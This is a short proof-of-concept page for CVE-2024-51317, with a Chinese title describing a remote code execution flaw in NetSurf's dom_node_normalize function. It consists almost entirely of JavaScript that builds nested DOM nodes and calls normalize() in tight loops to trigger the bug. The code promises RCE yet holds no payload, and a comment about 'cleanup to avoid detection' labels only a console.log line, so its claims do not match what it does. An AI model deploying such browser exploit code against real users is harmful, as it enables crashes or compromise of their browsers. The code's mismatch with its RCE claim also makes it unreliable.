CVE-2024-51317 NetSurf浏览器dom_node_normalize函数远程代码执行漏洞

// CVE-2024-51317 PoC - NetSurf dom_node_normalize RCE // This PoC demonstrates triggering the vulnerability through DOM manipulation // Create a div element const targetDiv = document.createElement('div'); document.body.appendChild(targetDiv); // Create text nodes to trigger normalize operation const textNode1 = document.createTextNode('AAAA'); const textNode2 = document.createTextNode('BBBB'); const textNode3 = document.createTextNode('CCCC'); // Append text nodes to target element targetDiv.appendChild(textNode1); targetDiv.appendChild(textNode2); targetDiv.appendChild(textNode3); // Create nested structure to trigger vulnerability for(let i = 0; i < 100; i++) { const newDiv = document.createElement('div'); newDiv.appendChild(document.createTextNode('X')); targetDiv.appendChild(newDiv); } // Trigger normalize operation multiple times for(let i = 0; i < 1000; i++) { targetDiv.normalize(); } // Alternative trigger method using innerHTML manipulation for(let i = 0; i < 500; i++) { targetDiv.innerHTML += '<span>DATA</span>'; targetDiv.normalize(); } // Cleanup to avoid detection console.log('PoC executed');